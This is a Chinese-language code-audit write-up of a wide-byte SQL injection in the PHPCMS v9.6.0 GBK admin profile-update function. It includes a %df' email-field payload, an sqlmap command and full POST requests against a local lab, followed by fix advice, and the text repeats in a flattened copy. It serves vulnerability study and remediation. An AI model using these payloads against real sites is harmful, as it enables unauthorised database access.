CMS SQL注入代码审计
字数 1055 2025-08-09 22:00:43

PHPCMS v9.6.0 SQL注入漏洞分析与利用

漏洞概述

PHPCMS v9.6.0 GBK版本存在一个后台SQL注入漏洞,该漏洞位于用户信息更新功能处,由于未对输入数据进行严格过滤,结合GBK编码特性导致可被利用。

漏洞环境

  • 目标系统:PHPCMS v9.6.0 GBK版本
  • 审计工具:
    • Seasy源代码审计系统
    • Phpstudy 8.1.1.2

漏洞分析

漏洞位置

漏洞位于管理员后台的用户信息更新功能,具体路径:
/index.php?m=admin&c=admin_manage&a=public_edit_info

漏洞成因

  1. 输入过滤不严:系统虽然默认对输入数据进行了转义,但在用户信息更新时未对字符进行严格过滤
  2. 宽字节注入:由于系统使用GBK编码,可通过宽字节注入绕过转义
  3. 直接拼接SQL:用户输入的info数据直接带入数据库查询

代码审计追踪

  1. 首先定位到用户信息更新功能,直接获取输入的info数据并带入查询
  2. 追踪调用链:
    • 调用admin_model模型
    • 实例化model
    • model类中找到update方法
    • 调用db_factory类进行数据库操作
    • 最终调用mysql_class中的update方法
  3. 关键发现:
    • update方法调用escape_string对输入过滤
    • escape方法未对输入数据做有效过滤
    • 返回的查询语句直接带入execute执行

漏洞利用

利用条件

  1. 需要管理员权限(后台注入)
  2. 需要有效的管理员cookie
  3. 系统使用GBK编码

利用步骤

  1. 登录后台:使用管理员账号登录系统
  2. 提交修改请求:访问用户信息修改页面
  3. 构造Payload
    • 由于邮箱字段有前端格式验证,需抓包修改
    • 在email字段后添加%df'触发SQL报错
  4. 自动化利用
    • 将构造的数据包保存为POST.txt
    • 使用sqlmap进行自动化注入:
      sqlmap -r POST.txt --dbs
      

示例数据包

报错数据包

POST /index.php?m=admin&c=admin_manage&a=public_edit_info HTTP/1.1
Host: 127.0.0.1:8093
[...其他头部信息...]
info%5Buserid%5D=1&info%5Busername%5D=phpcms&info%5Brealname%5D=123&info%5Bemail%5D=12%4012.com%df'&info%5Blang%5D=zh-cn&dosubmit=%CC%E1%BD%BB&pc_hash=G9EuRQ

注入数据包

POST /index.php?m=admin&c=admin_manage&a=public_edit_info HTTP/1.1
Host: 127.0.0.1:8093
[...其他头部信息...]
info%5Buserid%5D=1&info%5Busername%5D=phpcms&info%5Brealname%5D=123&info%5Bemail%5D=12%4012.com%df&info%5Blang%5D=zh-cn&dosubmit=%CC%E1%BD%BB&pc_hash=G9EuRQ

漏洞修复建议

  1. 严格输入过滤:对所有用户输入进行严格的过滤和验证
  2. 使用预处理语句:改用参数化查询或预处理语句
  3. 编码统一:建议使用UTF-8编码避免宽字节注入
  4. 权限控制:加强后台功能的权限验证
  5. 转义函数改进:完善escape方法对特殊字符的处理

总结

该漏洞是一个典型的后台SQL注入漏洞,利用GBK编码特性绕过转义,可直接获取数据库信息。漏洞利用需要管理员权限,但一旦获取权限可造成严重危害。开发时应特别注意用户输入的过滤和SQL语句的构造方式。

PHPCMS v9.6.0 SQL注入漏洞分析与利用 漏洞概述 PHPCMS v9.6.0 GBK版本存在一个后台SQL注入漏洞,该漏洞位于用户信息更新功能处,由于未对输入数据进行严格过滤,结合GBK编码特性导致可被利用。 漏洞环境 目标系统:PHPCMS v9.6.0 GBK版本 审计工具: Seasy源代码审计系统 Phpstudy 8.1.1.2 漏洞分析 漏洞位置 漏洞位于管理员后台的用户信息更新功能,具体路径: /index.php?m=admin&c=admin_manage&a=public_edit_info 漏洞成因 输入过滤不严 :系统虽然默认对输入数据进行了转义,但在用户信息更新时未对字符进行严格过滤 宽字节注入 :由于系统使用GBK编码,可通过宽字节注入绕过转义 直接拼接SQL :用户输入的info数据直接带入数据库查询 代码审计追踪 首先定位到用户信息更新功能,直接获取输入的info数据并带入查询 追踪调用链: 调用 admin_model 模型 实例化 model 类 在 model 类中找到 update 方法 调用 db_factory 类进行数据库操作 最终调用 mysql_class 中的 update 方法 关键发现: update 方法调用 escape_string 对输入过滤 escape 方法未对输入数据做有效过滤 返回的查询语句直接带入 execute 执行 漏洞利用 利用条件 需要管理员权限(后台注入) 需要有效的管理员cookie 系统使用GBK编码 利用步骤 登录后台 :使用管理员账号登录系统 提交修改请求 :访问用户信息修改页面 构造Payload : 由于邮箱字段有前端格式验证,需抓包修改 在email字段后添加 %df' 触发SQL报错 自动化利用 : 将构造的数据包保存为POST.txt 使用sqlmap进行自动化注入: 示例数据包 报错数据包 : 注入数据包 : 漏洞修复建议 严格输入过滤 :对所有用户输入进行严格的过滤和验证 使用预处理语句 :改用参数化查询或预处理语句 编码统一 :建议使用UTF-8编码避免宽字节注入 权限控制 :加强后台功能的权限验证 转义函数改进 :完善escape方法对特殊字符的处理 总结 该漏洞是一个典型的后台SQL注入漏洞,利用GBK编码特性绕过转义,可直接获取数据库信息。漏洞利用需要管理员权限,但一旦获取权限可造成严重危害。开发时应特别注意用户输入的过滤和SQL语句的构造方式。